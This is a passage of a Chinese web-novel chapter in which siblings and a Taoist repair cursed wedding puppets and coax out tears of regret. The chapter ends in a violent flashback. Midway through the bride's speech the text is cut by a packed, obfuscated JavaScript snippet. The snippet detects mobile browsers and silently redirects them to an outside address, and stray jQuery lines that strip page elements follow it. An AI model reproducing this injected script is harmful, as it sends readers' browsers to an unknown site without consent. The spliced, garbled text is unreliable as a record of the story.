“你们还是找到了我。”乐师偶长叹一声,“我有罪啊,我有罪。若不是我被仇恨蒙蔽了双眼,也不会将自己的亲生女儿杀害。”
“当初发生了什么事情,让你如此愤恨?”李平摇了摇头,是可怜之人但不是他滥杀无辜的理由。
“当初那恶人欺男霸女,觊觎我妻子的美貌,隔三差五来我们家,前几次都被我挡回去了,可谁知他趁我不在家逼迫我那有孕的妻子,一尸两命!我恨啊,到他死前我才知道新娘是我的女儿!”乐师偶捶胸顿足,此时就算后悔也来不及了。
“也是造化弄人,去见你的女儿吧,这场戏该结束了。”李可直接抱着他走向戏台。
“乐起——”
“哎呦。”木偶们都活了过来,但他们之前断掉的器官此时没有办法支撑他们起来,都痛苦的嚎叫着。
新郎偶摇摇摆摆,修补后的两只小腿与大腿的链接已断,啪的一声摔倒在地上,新娘偶急忙去扶,可眼睛无法转动,正摸索着向前。
乐师偶接住快要摔倒的女儿,呜呜地说不出话,只有父亲偶在一旁哈哈大笑起来。
李可瞪了一眼父亲偶,“应该要修补好木偶才行。”
父亲偶眼睛咕噜一转,不怀好意地说道:“老夫知道怎么修补好他们啊。”
“那你说该如何是好?”李平没好气地说道,这木偶说话不能全信,也不能不信。
“就拿老夫的儿子来说,他的腿如此精细,只需要用发丝重新将接口连接起来便能如同新的一般。”父亲偶仰起头,说到底他还是很关心这个儿子的,毕竟他就这么一个宝贝疙瘩,还要靠着儿子传宗接代呢。
“发丝连接会不会太过脆弱?”佘儒有些担心。
“发丝确实可以用在修补木偶上,一般都是用作毛发或者装饰,可当做连接之物虽有记载,但我们兄妹俩还不够熟练,很难成功。”李平有些为难,要是只能以此法子修补他可以尽力一试。
乐师偶看向玄兔,目光不再移动,他知道这个法力高强的道长会懂的。
玄兔冲他笑了笑,原来是盯上我了么,那就如你所愿。
她施法剪断一缕青丝,“那便用我的吧。”
佘儒有些紧张,他死死盯着那只父亲偶,若他真敢动手,那其他三只木偶的现状就是他的下场。
带着法力的发丝要坚韧许多,兄妹俩小心地缠绕了几圈,又慢慢用它代替了之前的细线。
新郎偶伸伸腿,欸,好了,他跑了两下,这可是健步如飞啊!
“我的腿好了,多谢你们,还得求你们救救新娘的眼睛。”新郎偶揉揉自己的腿,扶起新娘偶坐在床上。
看来这父亲偶没有说谎,他的儿子修好了,儿媳与他没有间隙,应该也可以听从他的法子。
“那新娘偶如何修好?”李可问道。
“哎呦,老夫的儿子自然是愿意救的,儿媳当然也要救得,可是她还没嫁给我儿,自然算不得是我们家的。更何况她的父亲将我们都杀了,我可一个都不愿意救。”
玄兔知道他要一步一步得到自己想要的,也不想与他废话,只说了一句:“条件?”
“不愧是道长啊,条件就是我的心啊,老夫可从来没说谎,没有心我怎么是一只完整的木偶呢?”父亲偶笑眯眯地看着李可。
“你若是帮上忙,我们为你做一个。”李可想了想,就算找不到,用木头雕刻一个也是可以的。
父亲偶嘿嘿一笑,“那老夫可候着了。不过你们还是先救我的亲家吧,白绫缠在脖子上的感觉可不好受吧。”
乐师偶紧紧掐着脖子,想要大口呼吸却没有办法,那木头做的脸竟然变得通红。
“那该怎么办?”李可给乐师偶拍着背,着急询问。
“以泪润喉,方可解脱。”父亲偶只留下一句指向不明确的话,普通的泪即可吗?
“你说清楚些。”李平来回摇晃这只可恶的木偶。
“哎呦哎呦,能不能尊重一下老人家。这哪里不清楚了,在场还有谁会流眼泪啊?”
众人看向乐师偶,他已经倒在地上,眼角挂着泪水。
真是得来全不费工夫,李平将泪水喂给乐师,可是丝毫没有用处。
是太少了吗?
“你快哭啊!哭了你就好了。”李平着急地掐他,也不知道木偶有没有痛觉。
“咳咳咳,没用的。”乐师偶心灰意冷,他挤出几句话:“都是报应,都是报应啊!”
自己本就不该苟活啊!
在倒下的那一刻,他还是流下了滚烫沉重的悔恨之泪。
“他的眼泪是灰色的。”李可惊呼,她急忙让泪水流入乐师偶口中。
乐师偶感到自己稍微能呼吸上来,怎么还是得救了,他这一条命啊,就这么活下来赎罪。
“算是修补好了吗?”李平左看右看。
乐师偶想说话,可是他只能发出呜呜声。
“场上的人的泪水,乐师的悔恨之泪,那还会有谁呢?”玄兔看向新娘。
李可也知道了她的意思,新娘会是什么呢?误会,不解,埋怨,对,埋怨!
新娘并不等劝说,她对这个父亲感情很复杂,缺席了十几年的陪伴,突然告诉她“你的亲生父亲没有死,你所爱之人是你杀母仇人的儿子”,人生如戏,戏有百态。
或悲或喜,是圆满是亏欠,她不能不在乎,她的父亲并不能算上是一个完完全全的好人,对她也没有什么养育之恩。但她的母亲不是,生恩实在太大,她实在不能就这样接受嫁入这样的门户。
“你不是想要我怨你吗?你作为丈夫没有保护好妻子,令我的母亲丧命,作为父亲不去调查原委,令我漂流在外,你要报仇却拉所有人下水,我怎能不怨你?你就是一个懦夫。”新娘眼睛无法转动,可能看出她眼里的悲凉。
“我对不起你们娘俩,也对不起那些无辜的人啊!”
“可是,你是我的父亲。”新娘偶眼角流出殷红如血的泪珠,“
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16325886|183192||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
算我报答,我不能原谅你,我也不会嫁给新郎,自此便是我自己。”
她何尝不知新郎无辜,但恕她不能和杀母仇人共处一室,她不会要求新郎去选什么,只有她自己倒也好。
泪珠入喉,乐师偶已经完全没了痛苦,但还是无法说话。
还差谁的眼泪呢?
父亲偶翘着二郎腿,哼着歌,好像周围一切与他无关,那可真是……取眼泪的大好机会啊!
李可掐着父亲偶的脖子,恶狠狠地说道,“给我哭!”
父亲偶吓得一激灵,“怎么要我的眼泪,我可跟他没关系,你们卸磨杀驴!杀了我你们永远出不去了!”
“那你的儿子已经修好,我们将他杀了也不妨事。”李平拿起新郎偶。
“哎呦哎呦,他没了怎么将戏唱完啊!快放下,快放下。”
“木偶戏怎么唱完,我们就怎么唱完。”李可丝毫不在乎。
“哎呦我儿,你为父而死也算是善终了,为父会给你烧纸的,你安心去吧。”
笑话,他是爱这个唯一的儿子,可是不能不要自己的命啊,留得青山在不怕没柴烧,虽然自己不再年轻,但还能活,儿子算得上什么。
新郎偶本来就因为与新娘隔了人命而痛苦,如今听了这话,还有什么可怀疑的,他的父亲就是这么一个只在乎自己的人啊。
“杀了我吧,我便不再和你有任何关系,我也不在欠心爱之人什么了。”新郎偶闭上了眼睛。
李平放下木偶,他不可能这么做,他才不会拿别人的性命,或者说木偶的命去震慑别人。
父亲偶哈哈大笑,“我就知道你们不会,你们不敢,谁叫我是坏人呢,我什么都敢。你去问问那乐师敢不敢对我动手,会不会想到当天那血流成河的场面?”
乐师偶确实不敢,他抱着头,那天尸体满地,他从最恨的人的口中得到了唯一亲人的消息。
在大家都一筹莫展的时候,玄兔缓缓开口,“那天,刀口入胸膛一定很疼吧,那天,应该是你最害怕的一天吧,无法反抗,只能看着心活活剜去。”
父亲偶敛去了笑容,他的脸扭曲起来,不再装成老好人的样子,大声怒吼:“闭嘴,闭嘴!”
玄兔转向垂头丧气的木偶,“乐师,你最该报仇的是他啊,不是吗?如果有刀,你会怎么做?”
“如果有刀,我一定会将他碎尸万段!”乐师抬起头,仿佛手里真有一把刀,眼神凶狠,慢慢走近。
“别过来,你滚啊!”父亲偶真的害怕了,当时就是这样子的眼神,不甘,孤注一掷,满是戾气。
他明明都告诉新娘的秘密,幸好为了压去礼金仔细调查了一番,他明明都说出来了,为什么,为什么……
那刀子剖开他的肉,硬生生让他受尽折磨,他想要立刻死掉,可是因为迷药求生不得求死不能,只能看着自己的心脏一点点被挖出来。
而那贼人只是冷漠地说一句,“原来,你的心不是黑色的啊。”